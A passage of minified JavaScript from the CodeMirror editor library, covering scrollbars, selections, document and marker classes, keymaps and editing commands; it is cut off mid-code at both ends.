b=a.scrollWidth>a.clientWidth+1,c=a.scrollHeight>a.clientHeight+1,d=a.nativeBarWidth;if(c){this.vert.style.display="block",this.vert.style.bottom=b?d+"px":"0";var
e=a.viewHeight-(b?d:0);this.vert.firstChild.style.height=Math.max(0,a.scrollHeight-a.clientHeight+e)+"px"}else
this.vert.style.display="",this.vert.firstChild.style.height="0";if(b){this.horiz.style.display="block",this.horiz.style.right=c?d+"px":"0",this.horiz.style.left=a.barLeft+"px";var
f=a.viewWidth-a.barLeft-(c?d:0);this.horiz.firstChild.style.width=Math.max(0,a.scrollWidth-a.clientWidth+f)+"px"}else
this.horiz.style.display="",this.horiz.firstChild.style.width="0";return!this.checkedZeroWidth&&a.clientHeight>0&&(0==d&&this.zeroWidthHack(),this.checkedZeroWidth=!0),{right:c?d:0,bottom:b?d:0}},vh.prototype.setScrollLeft=function(a){this.horiz.scrollLeft!=a&&(this.horiz.scrollLeft=a),this.disableHoriz&&this.enableZeroWidthBar(this.horiz,this.disableHoriz,"horiz")},vh.prototype.setScrollTop=function(a){this.vert.scrollTop!=a&&(this.vert.scrollTop=a),this.disableVert&&this.enableZeroWidthBar(this.vert,this.disableVert,"vert")},vh.prototype.zeroWidthHack=function(){var
a=Eg&&!zg?"12px":"18px";this.horiz.style.height=this.vert.style.width=a,this.horiz.style.pointerEvents=this.vert.style.pointerEvents="none",this.disableHoriz=new
Ng,this.disableVert=new
Ng},vh.prototype.enableZeroWidthBar=function(a,b,c){function d(){var
e=a.getBoundingClientRect();("vert"==c?document.elementFromPoint(e.right-1,(e.top+e.bottom)/2):document.elementFromPoint((e.right+e.left)/2,e.bottom-1))!=a?a.style.pointerEvents="none":b.set(1e3,d)}a.style.pointerEvents="auto",b.set(1e3,d)},vh.prototype.clear=function(){var
a=this.horiz.parentNode;a.removeChild(this.horiz),a.removeChild(this.vert)};var
wh=function(){};wh.prototype.update=function(){return{bottom:0,right:0}},wh.prototype.setScrollLeft=function(){},wh.prototype.setScrollTop=function(){},wh.prototype.clear=function(){};var
xh={native:vh,null:wh},yh=0,zh=function(a,b,c){var
d=a.display;this.viewport=b,this.visible=Sc(d,a.doc,b),this.editorIsHidden=!d.wrapper.offsetWidth,this.wrapperHeight=d.wrapper.clientHeight,this.wrapperWidth=d.wrapper.clientWidth,this.oldDisplayWidth=Ob(a),this.force=c,this.dims=uc(a),this.events=[]};zh.prototype.signal=function(a,b){I(a,b)&&this.events.push(arguments)},zh.prototype.finish=function(){for(var
a=0;a<this.events.length;a++)F.apply(null,this.events[a])};var
Ah=0,Bh=null;sg?Bh=-.53:og?Bh=15:wg?Bh=-.7:yg&&(Bh=-1/3);var
Ch=function(a,b){this.ranges=a,this.primIndex=b};Ch.prototype.primary=function(){return
this.ranges[this.primIndex]},Ch.prototype.equals=function(a){if(a==this)return!0;if(a.primIndex!=this.primIndex||a.ranges.length!=this.ranges.length)return!1;for(var
b=0;b<this.ranges.length;b++){var
c=this.ranges[b],d=a.ranges[b];if(!ja(c.anchor,d.anchor)||!ja(c.head,d.head))return!1}return!0},Ch.prototype.deepCopy=function(){for(var
a=[],b=0;b<this.ranges.length;b++)a[b]=new
Dh(ka(this.ranges[b].anchor),ka(this.ranges[b].head));return new
Ch(a,this.primIndex)},Ch.prototype.somethingSelected=function(){for(var
a=0;a<this.ranges.length;a++)if(!this.ranges[a].empty())return!0;return!1},Ch.prototype.contains=function(a,b){b||(b=a);for(var
c=0;c<this.ranges.length;c++){var
d=this.ranges[c];if(ia(b,d.from())>=0&&ia(a,d.to())<=0)return
c}return-1};var
Dh=function(a,b){this.anchor=a,this.head=b};Dh.prototype.from=function(){return
ma(this.anchor,this.head)},Dh.prototype.to=function(){return
la(this.anchor,this.head)},Dh.prototype.empty=function(){return
this.head.line==this.anchor.line&&this.head.ch==this.anchor.ch},Qe.prototype={chunkSize:function(){return
this.lines.length},removeInner:function(a,b){for(var
c=a,d=a+b;c<d;++c){var
e=this.lines[c];this.height-=e.height,gb(e),ub(e,"delete")}this.lines.splice(a,b)},collapse:function(a){a.push.apply(a,this.lines)},insertInner:function(a,b,c){this.height+=c,this.lines=this.lines.slice(0,a).concat(b).concat(this.lines.slice(a));for(var
d=0;d<b.length;++d)b[d].parent=this},iterN:function(a,b,c){for(var
d=a+b;a<d;++a)if(c(this.lines[a]))return!0}},Re.prototype={chunkSize:function(){return
this.size},removeInner:function(a,b){this.size-=b;for(var
c=0;c<this.children.length;++c){var
d=this.children[c],e=d.chunkSize();if(a<e){var
f=Math.min(b,e-a),g=d.height;if(d.removeInner(a,f),this.height-=g-d.height,e==f&&(this.children.splice(c--,1),d.parent=null),0==(b-=f))break;a=0}else
a-=e}if(this.size-b<25&&(this.children.length>1||!(this.children[0]instanceof
Qe))){var h=[];this.collapse(h),this.children=[new
Qe(h)],this.children[0].parent=this}},collapse:function(a){for(var
b=0;b<this.children.length;++b)this.children[b].collapse(a)},insertInner:function(a,b,c){this.size+=b.length,this.height+=c;for(var
d=0;d<this.children.length;++d){var
e=this.children[d],f=e.chunkSize();if(a<=f){if(e.insertInner(a,b,c),e.lines&&e.lines.length>50){for(var
g=e.lines.length%25+25,h=g;h<e.lines.length;){var i=new
Qe(e.lines.slice(h,h+=25));e.height-=i.height,this.children.splice(++d,0,i),i.parent=this}e.lines=e.lines.slice(0,g),this.maybeSpill()}break}a-=f}},maybeSpill:function(){if(!(this.children.length<=10)){var
a=this;do{var b=a.children.splice(a.children.length-5,5),c=new
Re(b);if(a.parent){a.size-=c.size,a.height-=c.height;var
d=m(a.parent.children,a);a.parent.children.splice(d+1,0,c)}else{var e=new
Re(a.children);e.parent=a,a.children=[e,c],a=e}c.parent=a.parent}while(a.children.length>10);a.parent.maybeSpill()}},iterN:function(a,b,c){for(var
d=0;d<this.children.length;++d){var
e=this.children[d],f=e.chunkSize();if(a<f){var
g=Math.min(b,f-a);if(e.iterN(a,g,c))return!0;if(0==(b-=g))break;a=0}else
a-=f}}};var Eh=function(a,b,c){if(c)for(var d in
c)c.hasOwnProperty(d)&&(this[d]=c[d]);this.doc=a,this.node=b};Eh.prototype.clear=function(){var
a=this.doc.cm,b=this.line.widgets,c=this.line,d=da(c);if(null!=d&&b){for(var
e=0;e<b.length;++e)b[e]==this&&b.splice(e--,1);b.length||(c.widgets=null);var
f=Ib(this);ca(c,Math.max(0,c.height-f)),a&&(qd(a,(function(){Se(a,c,-f),Bc(a,d,"widget")})),ub(a,"lineWidgetCleared",a,this,d))}},Eh.prototype.changed=function(){var
a=this,b=this.height,c=this.doc.cm,d=this.line;this.height=null;var
e=Ib(this)-b;e&&(ab(this.doc,d)||ca(d,d.height+e),c&&qd(c,(function(){c.curOp.forceUpdate=!0,Se(c,d,e),ub(c,"lineWidgetChanged",c,a,da(d))})))},J(Eh);var
Fh=0,Gh=function(a,b){this.lines=[],this.type=b,this.doc=a,this.id=++Fh};Gh.prototype.clear=function(){if(!this.explicitlyCleared){var
a=this.doc.cm,b=a&&!a.curOp;if(b&&id(a),I(this,"clear")){var
c=this.find();c&&ub(this,"clear",c.from,c.to)}for(var
d=null,e=null,f=0;f<this.lines.length;++f){var
g=this.lines[f],h=Fa(g.markedSpans,this);a&&!this.collapsed?Bc(a,da(g),"text"):a&&(null!=h.to&&(e=da(g)),null!=h.from&&(d=da(g))),g.markedSpans=Ga(g.markedSpans,h),null==h.from&&this.collapsed&&!ab(this.doc,g)&&a&&ca(g,sc(a.display))}if(a&&this.collapsed&&!a.options.lineWrapping)for(var
i=0;i<this.lines.length;++i){var
j=Xa(this.lines[i]),k=db(j);k>a.display.maxLineLength&&(a.display.maxLine=j,a.display.maxLineLength=k,a.display.maxLineChanged=!0)}null!=d&&a&&this.collapsed&&Ac(a,d,e+1),this.lines.length=0,this.explicitlyCleared=!0,this.atomic&&this.doc.cantEdit&&(this.doc.cantEdit=!1,a&&ye(a.doc)),a&&ub(a,"markerCleared",a,this,d,e),b&&jd(a),this.parent&&this.parent.clear()}},Gh.prototype.find=function(a,b){null==a&&"bookmark"==this.type&&(a=1);for(var
c,d,e=0;e<this.lines.length;++e){var
f=this.lines[e],g=Fa(f.markedSpans,this);if(null!=g.from&&(c=ha(b?f:da(f),g.from),-1==a))return
c;if(null!=g.to&&(d=ha(b?f:da(f),g.to),1==a))return d}return
c&&{from:c,to:d}},Gh.prototype.changed=function(){var
a=this,b=this.find(-1,!0),c=this,d=this.doc.cm;b&&d&&qd(d,(function(){var
e=b.line,f=da(b.line),g=Ub(d,f);if(g&&(_b(g),d.curOp.selectionChanged=d.curOp.forceUpdate=!0),d.curOp.updateMaxLine=!0,!ab(c.doc,e)&&null!=c.height){var
h=c.height;c.height=null;var
i=Ib(c)-h;i&&ca(e,e.height+i)}ub(d,"markerChanged",d,a)}))},Gh.prototype.attachLine=function(a){if(!this.lines.length&&this.doc.cm){var
b=this.doc.cm.curOp;b.maybeHiddenMarkers&&-1!=m(b.maybeHiddenMarkers,this)||(b.maybeUnhiddenMarkers||(b.maybeUnhiddenMarkers=[])).push(this)}this.lines.push(a)},Gh.prototype.detachLine=function(a){if(this.lines.splice(m(this.lines,a),1),!this.lines.length&&this.doc.cm){var
b=this.doc.cm.curOp;(b.maybeHiddenMarkers||(b.maybeHiddenMarkers=[])).push(this)}},J(Gh);var
Hh=function(a,b){this.markers=a,this.primary=b;for(var
c=0;c<a.length;++c)a[c].parent=this};Hh.prototype.clear=function(){if(!this.explicitlyCleared){this.explicitlyCleared=!0;for(var
a=0;a<this.markers.length;++a)this.markers[a].clear();ub(this,"clear")}},Hh.prototype.find=function(a,b){return
this.primary.find(a,b)},J(Hh);var Ih=0,Jh=function(a,b,c,d,e){if(!(this
instanceof Jh))return new
Jh(a,b,c,d,e);null==c&&(c=0),Re.call(this,[new Qe([new
oh("",null)])]),this.first=c,this.scrollTop=this.scrollLeft=0,this.cantEdit=!1,this.cleanGeneration=1,this.modeFrontier=this.highlightFrontier=c;var
f=ha(c,0);this.sel=Pd(f),this.history=new
be(null),this.id=++Ih,this.modeOption=b,this.lineSep=d,this.direction="rtl"==e?"rtl":"ltr",this.extend=!1,"string"==typeof
a&&(a=this.splitLines(a)),Yd(this,{from:f,to:f,text:a}),ve(this,Pd(f),Sg)};Jh.prototype=t(Re.prototype,{constructor:Jh,iter:function(a,b,c){c?this.iterN(a-this.first,b-a,c):this.iterN(this.first,this.first+this.size,a)},insert:function(a,b){for(var
c=0,d=0;d<b.length;++d)c+=b[d].height;this.insertInner(a-this.first,b,c)},remove:function(a,b){this.removeInner(a-this.first,b)},getValue:function(a){var
b=ba(this,this.first,this.first+this.size);return!1===a?b:b.join(a||this.lineSeparator())},setValue:td((function(a){var
b=ha(this.first,0),c=this.first+this.size-1;Fe(this,{from:b,to:ha(c,_(this,c).text.length),text:this.splitLines(a),origin:"setValue",full:!0},!0),this.cm&&Zc(this.cm,0,0),ve(this,Pd(b),Sg)})),replaceRange:function(a,b,c,d){b=oa(this,b),c=c?oa(this,c):b,Le(this,a,b,c,d)},getRange:function(a,b,c){var
d=aa(this,oa(this,a),oa(this,b))
;return!1===c?d:d.join(c||this.lineSeparator())},getLine:function(a){var
b=this.getLineHandle(a);return
b&&b.text},getLineHandle:function(a){if(fa(this,a))return
_(this,a)},getLineNumber:function(a){return
da(a)},getLineHandleVisualStart:function(a){return"number"==typeof
a&&(a=_(this,a)),Xa(a)},lineCount:function(){return
this.size},firstLine:function(){return
this.first},lastLine:function(){return
this.first+this.size-1},clipPos:function(a){return
oa(this,a)},getCursor:function(a){var b=this.sel.primary();return
null==a||"head"==a?b.head:"anchor"==a?b.anchor:"end"==a||"to"==a||!1===a?b.to():b.from()},listSelections:function(){return
this.sel.ranges},somethingSelected:function(){return
this.sel.somethingSelected()},setCursor:td((function(a,b,c){se(this,oa(this,"number"==typeof
a?ha(a,b||0):a),null,c)})),setSelection:td((function(a,b,c){se(this,oa(this,a),oa(this,b||a),c)})),extendSelection:td((function(a,b,c){pe(this,oa(this,a),b&&oa(this,b),c)})),extendSelections:td((function(a,b){qe(this,qa(this,a),b)})),extendSelectionsBy:td((function(a,b){qe(this,qa(this,q(this.sel.ranges,a)),b)})),setSelections:td((function(a,b,c){if(a.length){for(var
d=[],e=0;e<a.length;e++)d[e]=new
Dh(oa(this,a[e].anchor),oa(this,a[e].head));null==b&&(b=Math.min(a.length-1,this.sel.primIndex)),ve(this,Od(this.cm,d,b),c)}})),addSelection:td((function(a,b,c){var
d=this.sel.ranges.slice(0);d.push(new
Dh(oa(this,a),oa(this,b||a))),ve(this,Od(this.cm,d,d.length-1),c)})),getSelection:function(a){for(var
b,c=this.sel.ranges,d=0;d<c.length;d++){var
e=aa(this,c[d].from(),c[d].to());b=b?b.concat(e):e}return!1===a?b:b.join(a||this.lineSeparator())},getSelections:function(a){for(var
b=[],c=this.sel.ranges,d=0;d<c.length;d++){var
e=aa(this,c[d].from(),c[d].to());!1!==a&&(e=e.join(a||this.lineSeparator())),b[d]=e}return
b},replaceSelection:function(a,b,c){for(var
d=[],e=0;e<this.sel.ranges.length;e++)d[e]=a;this.replaceSelections(d,b,c||"+input")},replaceSelections:td((function(a,b,c){for(var
d=[],e=this.sel,f=0;f<e.ranges.length;f++){var
g=e.ranges[f];d[f]={from:g.from(),to:g.to(),text:this.splitLines(a[f]),origin:c}}for(var
h=b&&"end"!=b&&Ud(this,d,b),i=d.length-1;i>=0;i--)Fe(this,d[i]);h?ue(this,h):this.cm&&Yc(this.cm)})),undo:td((function(){He(this,"undo")})),redo:td((function(){He(this,"redo")})),undoSelection:td((function(){He(this,"undo",!0)})),redoSelection:td((function(){He(this,"redo",!0)})),setExtending:function(a){this.extend=a},getExtending:function(){return
this.extend},historySize:function(){for(var
a=this.history,b=0,c=0,d=0;d<a.done.length;d++)a.done[d].ranges||++b;for(var
e=0;e<a.undone.length;e++)a.undone[e].ranges||++c;return{undo:b,redo:c}},clearHistory:function(){var
a=this;this.history=new
be(this.history.maxGeneration),Zd(this,(function(b){return
b.history=a.history}),!0)},markClean:function(){this.cleanGeneration=this.changeGeneration(!0)},changeGeneration:function(a){return
a&&(this.history.lastOp=this.history.lastSelOp=this.history.lastOrigin=null),this.history.generation},isClean:function(a){return
this.history.generation==(a||this.cleanGeneration)},getHistory:function(){return{done:ne(this.history.done),undone:ne(this.history.undone)}},setHistory:function(a){var
b=this.history=new
be(this.history.maxGeneration);b.done=ne(a.done.slice(0),null,!0),b.undone=ne(a.undone.slice(0),null,!0)},setGutterMarker:td((function(a,b,c){return
Pe(this,a,"gutter",(function(a){var
d=a.gutterMarkers||(a.gutterMarkers={});return
d[b]=c,!c&&w(d)&&(a.gutterMarkers=null),!0}))})),clearGutter:td((function(a){var
b=this;this.iter((function(c){c.gutterMarkers&&c.gutterMarkers[a]&&Pe(b,c,"gutter",(function(){return
c.gutterMarkers[a]=null,w(c.gutterMarkers)&&(c.gutterMarkers=null),!0}))}))})),lineInfo:function(a){var
b;if("number"==typeof a){if(!fa(this,a))return
null;if(b=a,!(a=_(this,a)))return null}else if(null==(b=da(a)))return
null;return{line:b,handle:a,text:a.text,gutterMarkers:a.gutterMarkers,textClass:a.textClass,bgClass:a.bgClass,wrapClass:a.wrapClass,widgets:a.widgets}},addLineClass:td((function(b,c,d){return
Pe(this,b,"gutter"==c?"gutter":"class",(function(b){var
e="text"==c?"textClass":"background"==c?"bgClass":"gutter"==c?"gutterClass":"wrapClass";if(b[e]){if(a(d).test(b[e]))return!1;b[e]+="
"+d}else
b[e]=d;return!0}))})),removeLineClass:td((function(b,c,d){return
Pe(this,b,"gutter"==c?"gutter":"class",(function(b){var
e="text"==c?"textClass":"background"==c?"bgClass":"gutter"==c?"gutterClass":"wrapClass",f=b[e];if(!f)return!1;if(null==d)b[e]=null;else{var
g=f.match(a(d));if(!g)return!1;var
h=g.index+g[0].length;b[e]=f.slice(0,g.index)+(g.index&&h!=f.length?"
":"")+f.slice(h)||null}return!0}))})),addLineWidget:td((function(a,b,c){return
Te(this,a,b,c)})),removeLineWidget:function(a){a.clear()},markText:function(a,b,c){return
Ue(this,oa(this,a),oa(this,b),c,c&&c.type||"range")},setBookmark:function(a,b){var
c={replacedWith:b&&(null==b.nodeType?b.widget:b),insertLeft:b&&b.insertLeft,clearWhenEmpty:!1,shared:b&&b.shared,handleMouseEvents:b&&b.handleMouseEvents};return
a=oa(this,a),Ue(this,a,a,c,"bookmark")},findMarksAt:function(a){a=oa(this,a);var
b=[],c=_(this,a.line).markedSpans;if(c)for(var d=0;d<c.length;++d){var
e=c[d];(null==e.from||e.from<=a.ch)&&(null==e.to||e.to>=a.ch)&&b.push(e.marker.parent||e.marker)}return
b},findMarks:function(a,b,c){a=oa(this,a),b=oa(this,b);var
d=[],e=a.line;return this.iter(a.line,b.line+1,(function(f){var
g=f.markedSpans;if(g)for(var h=0;h<g.length;h++){var
i=g[h];null!=i.to&&e==a.line&&a.ch>=i.to||null==i.from&&e!=a.line||null!=i.from&&e==b.line&&i.from>=b.ch||c&&!c(i.marker)||d.push(i.marker.parent||i.marker)}++e})),d},getAllMarks:function(){var
a=[];return this.iter((function(b){var c=b.markedSpans;if(c)for(var
d=0;d<c.length;++d)null!=c[d].from&&a.push(c[d].marker)})),a},posFromIndex:function(a){var
b,c=this.first,d=this.lineSeparator().length;return
this.iter((function(e){var f=e.text.length+d;if(f>a)return
b=a,!0;a-=f,++c})),oa(this,ha(c,b))},indexFromPos:function(a){a=oa(this,a);var
b=a.ch;if(a.line<this.first||a.ch<0)return 0;var
c=this.lineSeparator().length;return
this.iter(this.first,a.line,(function(a){b+=a.text.length+c})),b},copy:function(a){var
b=new
Jh(ba(this,this.first,this.first+this.size),this.modeOption,this.first,this.lineSep,this.direction);return
b.scrollTop=this.scrollTop,b.scrollLeft=this.scrollLeft,b.sel=this.sel,b.extend=!1,a&&(b.history.undoDepth=this.history.undoDepth,b.setHistory(this.getHistory())),b},linkedDoc:function(a){a||(a={});var
b=this.first,c=this.first+this.size;null!=a.from&&a.from>b&&(b=a.from),null!=a.to&&a.to<c&&(c=a.to);var
d=new
Jh(ba(this,b,c),a.mode||this.modeOption,b,this.lineSep,this.direction);return
a.sharedHist&&(d.history=this.history),(this.linked||(this.linked=[])).push({doc:d,sharedHist:a.sharedHist}),d.linked=[{doc:this,isParent:!0,sharedHist:a.sharedHist}],Xe(d,We(this)),d},unlinkDoc:function(a){if(a
instanceof Vf&&(a=a.doc),this.linked)for(var
b=0;b<this.linked.length;++b){var
c=this.linked[b];if(c.doc==a){this.linked.splice(b,1),a.unlinkDoc(this),Ye(We(this));break}}if(a.history==this.history){var
d=[a.id];Zd(a,(function(a){return d.push(a.id)}),!0),a.history=new
be(null),a.history.done=ne(this.history.done,d),a.history.undone=ne(this.history.undone,d)}},iterLinkedDocs:function(a){Zd(this,a)},getMode:function(){return
this.mode},getEditor:function(){return
this.cm},splitLines:function(a){return
this.lineSep?a.split(this.lineSep):bh(a)},lineSeparator:function(){return
this.lineSep||"\n"},setDirection:td((function(a){"rtl"!=a&&(a="ltr"),a!=this.direction&&(this.direction=a,this.iter((function(a){return
a.order=null})),this.cm&&ae(this.cm))}))}),Jh.prototype.eachLine=Jh.prototype.iter;for(var
Kh=0,Lh=!1,Mh={3:"Pause",8:"Backspace",9:"Tab",13:"Enter",16:"Shift",17:"Ctrl",18:"Alt",19:"Pause",20:"CapsLock",27:"Esc",32:"Space",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"Left",38:"Up",39:"Right",40:"Down",44:"PrintScrn",45:"Insert",46:"Delete",59:";",61:"=",91:"Mod",92:"Mod",93:"Mod",106:"*",107:"=",109:"-",110:".",111:"/",145:"ScrollLock",173:"-",186:";",187:"=",188:",",189:"-",190:".",191:"/",192:"`",219:"[",220:"\\",221:"]",222:"'",63232:"Up",63233:"Down",63234:"Left",63235:"Right",63272:"Delete",63273:"Home",63275:"End",63276:"PageUp",63277:"PageDown",63302:"Insert"},Nh=0;Nh<10;Nh++)Mh[Nh+48]=Mh[Nh+96]=String(Nh);for(var
Oh=65;Oh<=90;Oh++)Mh[Oh]=String.fromCharCode(Oh);for(var
Ph=1;Ph<=12;Ph++)Mh[Ph+111]=Mh[Ph+63235]="F"+Ph;var
Qh={};Qh.basic={Left:"goCharLeft",Right:"goCharRight",Up:"goLineUp",Down:"goLineDown",End:"goLineEnd",Home:"goLineStartSmart",PageUp:"goPageUp",PageDown:"goPageDown",Delete:"delCharAfter",Backspace:"delCharBefore","Shift-Backspace":"delCharBefore",Tab:"defaultTab","Shift-Tab":"indentAuto",Enter:"newlineAndIndent",Insert:"toggleOverwrite",Esc:"singleSelection"},Qh.pcDefault={"Ctrl-A":"selectAll","Ctrl-D":"deleteLine","Ctrl-Z":"undo","Shift-Ctrl-Z":"redo","Ctrl-Y":"redo","Ctrl-Home":"goDocStart","Ctrl-End":"goDocEnd","Ctrl-Up":"goLineUp","Ctrl-Down":"goLineDown","Ctrl-Left":"goGroupLeft","Ctrl-Right":"goGroupRight","Alt-Left":"goLineStart","Alt-Right":"goLineEnd","Ctrl-Backspace":"delGroupBefore","Ctrl-Delete":"delGroupAfter","Ctrl-S":"save","Ctrl-F":"find","Ctrl-G":"findNext","Shift-Ctrl-G":"findPrev","Shift-Ctrl-F":"replace","Shift-Ctrl-R":"replaceAll","Ctrl-[":"indentLess","Ctrl-]":"indentMore","Ctrl-U":"undoSelection","Shift-Ctrl-U":"redoSelection","Alt-U":"redoSelection",fallthrough:"basic"},Qh.emacsy={"Ctrl-F":"goCharRight","Ctrl-B":"goCharLeft","Ctrl-P":"goLineUp","Ctrl-N":"goLineDown","Alt-F":"goWordRight","Alt-B":"goWordLeft","Ctrl-A":"goLineStart","Ctrl-E":"goLineEnd","Ctrl-V":"goPageDown","Shift-Ctrl-V":"goPageUp","Ctrl-D":"delCharAfter","Ctrl-H":"delCharBefore","Alt-D":"delWordAfter","Alt-Backspace":"delWordBefore","Ctrl-K":"killLine","Ctrl-T":"transposeChars","Ctrl-O":"openLine"},Qh.macDefault={"Cmd-A":"selectAll","Cmd-D":"deleteLine","Cmd-Z":"undo","Shift-Cmd-Z":"redo","Cmd-Y":"redo","Cmd-Home":"goDocStart","Cmd-Up":"goDocStart","Cmd-End":"goDocEnd","Cmd-Down":"goDocEnd","Alt-Left":"goGroupLeft","Alt-Right":"goGroupRight","Cmd-Left":"goLineLeft","Cmd-Right":"goLineRight","Alt-Backspace":"delGroupBefore","Ctrl-Alt-Backspace":"delGroupAfter","Alt-Delete":"delGroupAfter","Cmd-S":"save","Cmd-F":"find","Cmd-G":"findNext","Shift-Cmd-G":"findPrev","Cmd-Alt-F":"replace","Shift-Cmd-Alt-F":"replaceAll","Cmd-[":"indentLess","Cmd-]":"indentMore","Cmd-Backspace":"delWrappedLineLeft","Cmd-Delete":"delWrappedLineRight","Cmd-U":"undoSelection","Shift-Cmd-U":"redoSelection","Ctrl-Up":"goDocStart","Ctrl-Down":"goDocEnd",fallthrough:["basic","emacsy"]},Qh.default=Eg?Qh.macDefault:Qh.pcDefault;var
Rh={selectAll:De,singleSelection:function(a){return
a.setSelection(a.getCursor("anchor"),a.getCursor("head"),Sg)},killLine:function(a){return
nf(a,(function(b){if(b.empty()){var
c=_(a.doc,b.head.line).text.length;return
b.head.ch==c&&b.head.line<a.lastLine()?{from:b.head,to:ha(b.head.line+1,0)}:{from:b.head,to:ha(b.head.line,c)}}return{from:b.from(),to:b.to()}}))},deleteLine:function(a){return
nf(a,(function(b){return{from:ha(b.from().line,0),to:oa(a.doc,ha(b.to().line+1,0))}}))},delLineLeft:function(a){return
nf(a,(function(a){return{from:ha(a.from().line,0),to:a.from()}}))},delWrappedLineLeft:function(a){return
nf(a,(function(b){var
c=a.charCoords(b.head,"div").top+5;return{from:a.coordsChar({left:0,top:c},"div"),to:b.from()}}))},delWrappedLineRight:function(a){return
nf(a,(function(b){var
c=a.charCoords(b.head,"div").top+5,d=a.coordsChar({left:a.display.lineDiv.offsetWidth+100,top:c},"div");return{from:b.from(),to:d}}))},undo:function(a){return
a.undo()},redo:function(a){return
a.redo()},undoSelection:function(a){return
a.undoSelection()},redoSelection:function(a){return
a.redoSelection()},goDocStart:function(a){return
a.extendSelection(ha(a.firstLine(),0))},goDocEnd:function(a){return
a.extendSelection(ha(a.lastLine()))},goLineStart:function(a){return
a.extendSelectionsBy((function(b){return
sf(a,b.head.line)}),{origin:"+move",bias:1})},goLineStartSmart:function(a){return
a.extendSelectionsBy((function(b){return
uf(a,b.head)}),{origin:"+move",bias:1})},goLineEnd:function(a){return
a.extendSelectionsBy((function(b){return
tf(a,b.head.line)}),{origin:"+move",bias:-1})},goLineRight:function(a){return
a.extendSelectionsBy((function(b){var
c=a.cursorCoords(b.head,"div").top+5;return
a.coordsChar({left:a.display.lineDiv.offsetWidth+100,top:c},"div")}),Ug)},goLineLeft:function(a){return
a.extendSelectionsBy((function(b){var
c=a.cursorCoords(b.head,"div").top+5;return
a.coordsChar({left:0,top:c},"div")}),Ug)},goLineLeftSmart:function(a){return
a.extendSelectionsBy((function(b){var
c=a.cursorCoords(b.head,"div").top+5,d=a.coordsChar({left:0,top:c},"div");return
d.ch<a.getLine(d.line).search(/\S/)?uf(a,b.head):d}),Ug)},goLineUp:function(a){return
a.moveV(-1,"line")},goLineDown:function(a){return
a.moveV(1,"line")},goPageUp:function(a){return
a.moveV(-1,"page")},goPageDown:function(a){return
a.moveV(1,"page")},goCharLeft:function(a){return
a.moveH(-1,"char")},goCharRight:function(a){return
a.moveH(1,"char")},goColumnLeft:function(a){return
a.moveH(-1,"column")},goColumnRight:function(a){return
a.moveH(1,"column")},goWordLeft:function(a){return
a.moveH(-1,"word")},goGroupRight:function(a){return
a.moveH(1,"group")},goGroupLeft:function(a){return
a.moveH(-1,"group")},goWordRight:function(a){return
a.moveH(1,"word")},delCharBefore:function(a){return
a.deleteH(-1,"char")},delCharAfter:function(a){return
a.deleteH(1,"char")},delWordBefore:function(a){return
a.deleteH(-1,"word")},delWordAfter:function(a){return
a.deleteH(1,"word")},delGroupBefore:function(a){return
a.deleteH(-1,"group")},delGroupAfter:function(a){return
a.deleteH(1,"group")},indentAuto:function(a){return
a.indentSelection("smart")},indentMore:function(a){return
a.indentSelection("add")},indentLess:function(a){return
a.indentSelection("subtract")},insertTab:function(a){return
a.replaceSelection("\t")},insertSoftTab:function(a){for(var
b=[],c=a.listSelections(),d=a.options.tabSize,e=0;e<c.length;e++){var
f=c[e].from(),g=l(a.getLine(f.line),f.ch,d);b.push(o(d-g%d))}a.replaceSelections(b)},defaultTab:function(a){a.somethingSelected()?a.indentSelection("add"):a.execCommand("insertTab")},transposeChars:function(a){return
qd(a,(function(){for(var
b=a.listSelections(),c=[],d=0;d<b.length;d++)if(b[d].empty()){var
e=b[d].head,f=_(a.doc,e.line).text;if(f)if(e.ch==f.length&&(e=new
ha(e.line,e.ch-1)),e.ch>0)e=new
ha(e.line,e.ch+1),a.replaceRange(f.charAt(e.ch-1)+f.charAt(e.ch-2),ha(e.line,e.ch-2),e,"+transpose");else
if(e.line>a.doc.first){var g=_(a.doc,e.line-1).text;g&&(e=new
ha(e.line,1),a.replaceRange(f.charAt(0)+a.doc.lineSeparator()+g.charAt(g.length-1),ha(e.line-1,g.length-1),e,"+transpose"))}c.push(new
Dh(e,e))}a.setSelections(c)}))},newlineAndIndent:function(a){return
qd(a,(function(){for(var
b=a.listSelections(),c=b.length-1;c>=0;c--)a.replaceRange(a.doc.lineSeparator(),b[c].anchor,b[c].head,"+input");b=a.listSelections();for(var
d=0;d<b.length;d++)a.indentLine(b[d].from().line,null,!0);Yc(a)}))},openLine:function(a){return
a.replaceSelection("\n","start")},toggleOverwrite:function(a){return
a.toggleOverwrite()}},Sh=new
Ng,Th=null,Uh=function(a,b,c){this.time=a,this.pos=b,this.button=c};Uh.prototype.compare=function(a,b,c){return
this.time+400>a&&0==ia(b,this.pos)&&c==this.button};var
Vh,Wh,Xh={toString:function(){return"CodeMirror.Init"}},Yh={},Zh={};Vf.defaults=Yh,Vf.optionHandlers=Zh;var
$h=[];Vf.defineInitHook=function(a){return $h.push(a)};var
_h=null,ai=function(a){this.cm=a,this.lastAnchorNode=this.lastAnchorOffset=this.lastFocusNode=this.lastFocusOffset=null,this.polling=new
Ng,this.composing=null,this.gracePeriod=!1,this.readDOMTimeout=null};ai.prototype.init=function(a){function
b(a){for(var
b=a.target;b;b=b.parentNode){if(b==g)return!0;if(/\bCodeMirror-(?:line)?widget\b/.test(b.className))break}return!1}function
c(a){if(b(a)&&!G(f,a)){if(f.somethingSelected())Yf({lineWise:!1,text:f.getSelections()}),"cut"==a.type&&f.replaceSelection("",null,"cut");else{if(!f.options.lineWiseCopyCut)return;var
c=ag(f);Yf({lineWise:!0,text:c.text}),"cut"==a.type&&f.operation((function(){f.setSelections(c.ranges,0,Sg),f.replaceSelection("",null,"cut")}))}if(a.clipboardData){a.clipboardData.clearData();var
d=_h.text.join("\n");if(a.clipboardData.setData("Text",d),a.clipboardData.getData("Text")==d)return
void a.preventDefault()}var
h=cg(),i=h.firstChild;f.display.lineSpace.insertBefore(h,f.display.lineSpace.firstChild),i.value=_h.text.join("\n");var
j=document.activeElement;Mg(i),setTimeout((function(){f.display.lineSpace.removeChild(h),j.focus(),j==g&&e.showPrimarySelection()}),50)}}var
d=this,e=this,f=e.cm,g=e.div=a.lineDiv;bg(g,f.options.spellcheck,f.options.autocorrect,f.options.autocapitalize),_g(g,"paste",(function(a){!b(a)||G(f,a)||$f(a,f)||tg<=11&&setTimeout(rd(f,(function(){return
